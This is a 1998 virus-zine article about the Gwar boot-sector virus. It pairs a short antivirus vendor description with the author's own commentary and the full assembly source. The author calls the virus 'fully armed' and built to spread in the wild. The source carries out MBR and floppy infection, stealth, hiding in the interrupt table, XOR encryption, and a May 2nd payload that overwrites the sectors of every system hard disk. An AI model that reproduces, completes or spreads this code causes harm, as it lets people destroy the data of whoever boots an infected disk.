The Gwar virus
H0l0kausT Issue 1
DATAFELLOWS:
Gwar is a boot virus that infects MBR of hard disks and floppy boot records. The virus is one sector long. It is partially encrypted. Gwar is a stealth and resident virus.
The system is infected after booting from an infected floppy or after executing COM or EXE file infected by Messev.3158 virus that acts as a dropper for Gwar. Before infecting the hard disk with the Gwar the Messev.3158 tries to delete Windows 95 floppy device driver HSFLOP.PDR, but there's an error in the virus and this never happens. Floppy boot records are infected by the virus on first access to them.
When infecting hard disks the virus (or a dropper) copies the original MBR to 0/0/2 (h/t/s) [* Errr! Gwar picks a randomly selected sector on the zero-track. *] and since then all logical hard disks become inaccessible when booting from a system diskette. To disinfect the virus the original MBR should be copied back to 0/0/1 (h/t/s).
On bootup the virus copies itself to interrupt table area 0020:0000, decrypts its payload part, checks current date and if it is the 2nd of May the payload is activated. First the virus blocks the keyboard and outputs blinking text:
'Gwar virus v1.3, (c) 1998 by T-2000 / Invaders'
Then it starts to incrementally write 8 sector-long areas containing a part of virus body (from the message offset) to track 1/head 2 and printing the screen's contents on every write operation.
If the date is not May 2nd, the virus copies Int 13h handler address (that points to BIOS at startup) to 0000:01F8 (Int FEh) and uses Int FEh for disk access since then. This trick allows the virus to evade resident behaviour blockers and to perform its stealth procedure. Then the virus loads the original MBR to 0000:7C00 and passes control to it.
The Int FEh stealth procedure of Gwar virus substitutes the infected MBR with the original one located at 0/0/2 (h/t/s), so the infection is not seen when the virus is in memory.
[Analysis: Alexey Podrezov, Szor Peter; Data Fellows]
- NAME: Gwar virus v1.30.
- TYPE: Resident stealth bootsector/MBR infector
- TARGETS: Harddrives, 360k & 1.44M diskettes.
- STATUS: Wild-oriented, not research.
- AUTHOR: T-2000 / Invaders.
- SIZE: 1 sector.
- DATE: February 1998 - June 1998.
- PAYLOAD: Disk-trashing on May 2nd.
!!!!!!!!!! WARNiNG: THiS ViRUS iS FULLY ARMED! !!!!!!!!!!!!!
- Full stealth on infected bootsectors/MBR's.
- Payload: message, disk-trashing & screendumping.
- Hides in interrupt-table.
- Anti-Debugger trick.
- Variable encrypting (message + part of virus).
- Generation counter.
- Variable store-sector on harddisk (2 - 17).
- Re-directs writes to boot-area.
This is a very handy virus, because it only 1 sector long. Due the minimal length, it can operate very fastly and doesn't consume much disk and memory space. It also uses the upper part of the INT-vectortable to store its code, instead of lowering the DOS-memory and put it there. This way Winshit95/NT will not complain that a bootvirus may be active (due the decrease in total DOS-memory). With the sector-stealth also, it will almost be hidden to programs, and the human eye. The only way to detect it by eye will be to check the 2nd part of the interrupt-table (bytes 512-1024).
The virus is mostly optimized, but can be more. This isn't done because I don't know what to put in instead. Further optimisation would make it REAL messy!
Many tracers probably cannot trace thru the stealth of Gwar coz it uses a INT 0FEh to access the original INT 13h, and single-stepping is disabled during a interrupt. Another advantage of hiding in the INT-vectortable: if you use a DOS-virus, most conventional tracers think that the virus-entrypoint is the DOS-entrypoint (coz it's below the first MCB).
Make shore ya remove the 3 lines in the source if ya include Gwar in Messev!
The virus is not designed to be a good learning source, though, you could learn some stuff from the optimizations. This virus is specifically designed to spread successful in the wild.
Gwar activates on May 2nd, of any year. On that date it will display a message and go in a endless loop overwriting most of all system harddisks. May 2nd 1998 was the day I went to da fucken cops for making a statement for beating-up some loser. It's just like in the movies, same questions over and over again... Dammit! I explained the whole story at least 10 times! Well, here's my revenge...
; And after Messev comes Gwar...
;.MODEL TINY ; Remove these lines if ya
;.CODE ; include Gwar in Messev.
Marker_Boot EQU 8F8Ah
Revector EQU 0FEh
Marker_Mem_Gwar EQU 0C3C2h
; == Bootsector entrypoint ==
JMP Gwar_Start
NOP
; === Data-table of a 1.44M disk. ===
DB 4Dh, 53h, 44h, 4Fh, 53h, 35h
DB 2Eh, 30h, 00h, 02h, 01h, 01h
DB 00h, 02h, 0E0h, 00h, 40h, 0Bh
DB 0F0h, 09h, 00h, 12h, 0h, 02h
DB 00h, 00h, 00h, 00h, 00h, 00h
DB 00h, 00h, 00h, 00h, 00h, 29h
DB 0ECh, 16h, 29h, 18h
DB ' ' ; Volumelabel.
DB ' ' ; Filesystem.
Gwar_Start:
IN AL, 21h ; Disable keyboard,
OR AL, 02h ; will be restored by
OUT 21h, AL ; our INT 13h.
XOR DI, DI
MOV SI, 7C00h
CLI
MOV SS, DI ; Set-up stack.
MOV SP, SI
STI
MOV DS, DI
MOV AX, (512 / 16)
MOV ES, AX ; 2nd part interrupt-table.
CLD ; Copy virus to virussegment.
MOV CX, (512 / 2)
REP MOVSW
DB 0EAh ; JMP FAR
DW OFFSET Relocated
DW (512 / 16)
Relocated: CALL Crypt_Block ; Decrypt code which
; is in front of us.
Encrypted:
MOV AH, 04h ; Get date.
INT 1Ah
CMP DX, 0502h ; Current date May the 2nd?
JNE No_PayLoad ; Not... luck for them!
PayLoad: MOV AX, 03h ; Clear screen.
INT 10h
MOV AH, 01h ; Turn-off cursor.
MOV CH, 20h
INT 10h
MOV AX, 1301h ; Display message.
MOV BX, 0CFh
MOV CX, 48
MOV DX, 0C10h
MOV BP, OFFSET Message
INT 10h
MOV BX, OFFSET Message
MOV CX, 01h
MOV DX, 0280h
Trash_Loop: INT 05h ; Print screen.
XOR AH, AH ; Reset 1st harddisk.
INT 13h
MOV AX, 0308h ; This effectively trashes
INT 13h ; all system harddrives.
ADD CX, 8 ; Next 8 sectors.
ADC DL, 0 ; Next drive.
JMP Trash_Loop
Message DB ' Gwar virus v1.3, (c) 1998 by T-2000 / Invaders '
DB 'SKLSUX!' ; I *HATE* it!!!
DB 'Winsuck95' ; I *HATE* it!!!
No_Payload:
; Hook INT 13h.
CLD
MOV SI, 13h * 4
MOV DI, OFFSET Int13h
CLI
MOVSW
MOVSW
MOV WORD PTR DS:[SI-4], OFFSET NewInt13h
MOV WORD PTR DS:[SI-2], CS
STI
PUSH DS
POP ES
PUSH CS
POP DS
MOV AX, 0201h ; Load old bootsector.
MOV BX, 7C00h
CALL Crypt_Block ; Re-encrypt block.
End_Encrypted: MOV CX, 000Fh
Stored_TS = WORD PTR $-2
MOV DX, 0100h
Stored_HD = WORD PTR $-2
INT Revector
PUSH ES ; Handle control over to
PUSH BX ; original bootsector.
MOV AX, 0201h ; Read bootsector of 1st
MOV BX, 7C00h + 512 ; harddrive via INT 13h,
MOV DX, 80h
MOV CX, 01h ; so virus will infect it.
INT 13h
RETF ; JMP to original bootsector.
NewInt13h:
CMP AX, Marker_Mem_Gwar ; Only used by Messev.
JNE No_Res_Check
NOT AX
IRET
No_Res_Check: CMP AH, 02h ; Doing a read?
JE Check_Params
CMP AH, 03h ; Write?
JNE JMP_Int13h
Check_Params: OR DH, DH ; Head 0?
JNZ JMP_Int13h
CMP CX, 01h ; Bootsector/MBR?
JNE JMP_Int13h
INT Revector ; Execute function.
JC Exit ; Exit if error occurred.
CALL Reading_Boot ; Infect it when clean.
Exit: RETF 2 ; Return to caller.
JMP_Int13h: JMP DWORD PTR CS:Int13h
Reading_Boot:
PUSHF ; Save registers & flags.
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
IN AL, 21h ; Disable keyboard.
OR AL, 02h
OUT 21h, AL
PUSH ES
POP DS
CMP DS:[BX.Signature], Marker_Boot
Signature = WORD PTR $-2
JNE Infect_Diskette
; At this point we got a infected bootsector in
; the caller's buffer, so we need to re-read the
; original one stored elsewhere on disk.
MOV AX, 0201h
MOV CX, DS:[BX.Stored_TS]
MOV DX, DS:[BX.Stored_HD]
INT Revector
JMP Exit_Int13h
Infect_Diskette:
CMP DL, 80h ; Is it a harddrive?
JB Init_Diskette ; No, then init diskette.
IN AX, 40h ; Get random value.
AND AX, 00001111b ; Between 0 & 15.
INC AX ; Must be above 1.
INC AX
XCHG CX, AX
JMP Init_Disk
Init_Diskette:
MOV DH, 01h ; Head 1.
CMP BYTE PTR DS:[BX+15h], 0FDh ; 360k floppy?
JNE Check_144M
MOV CL, 03h ; Last sector root-dir.
JMP Init_Disk
Check_144M:
CMP BYTE PTR DS:[BX+15h], 0F0h ; HD-diskette?
JNE Exit_Int13h ; Bail-out when not.
MOV CL, 0Fh ; Last sector root-dir.
Init_Disk: PUSH CS
POP DS
MOV Stored_TS, CX ; Location of original
MOV Stored_HD, DX ; bootsector on disk.
XOR AH, AH ; Reset disk.
INT Revector
MOV AX, 0301h ; Store old bootsector.
INT Revector
JC Exit_Int13h
CALL Crypt_Block ; Decrypt block.
IN AL, 40h ; Get another key.
MOV Key, AL
CALL Crypt_Block ; Encrypt back on with
; other key.
PUSH ES
POP DS
PUSH CS
POP ES
CLD ; Copy datablock into virus
MOV SI, BX ; bootsector.
MOV DI, 3
ADD SI, DI
MOV CX, 59
REP MOVSB
PUSH CS
POP DS
MOV AX, 0 ; Generation counter.
Generation = WORD PTR $-2 ; 16-Bit generation counter.
INC AX
JZ No_Update ; Don't update when overflow.
MOV Generation, AX
No_Update: MOV AX, 0301h ; Write infected bootsector.
XOR BX, BX
INC CX ; CX = 01h.
XOR DH, DH
INT Revector
Exit_Int13h: IN AL, 21h ; Return their keyboard.
AND AL, NOT 02h
OUT 21h, AL
POP ES ; Restore registers & flags.
POP DS
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
POPF
RETN
; === XOR message + part of virus. ===
Crypt_Block:
MOV SI, OFFSET Encrypted
MOV CX, (OFFSET End_Encrypted - OFFSET Encrypted)
Crypt_Byte:
XOR BYTE PTR CS:[SI], 0
ORG $-1
Key DB 0 ; 8-Bit encryption-key for install.
INC SI
LOOP Crypt_Byte
RETN
;ORG 504 ;
Int13h DW 0, 0 ; Old INT 13h address.
DB 'H8'
DW 0AA55h ; Bootable disk signature.
;END ; Remove 4 inclusion in Messev.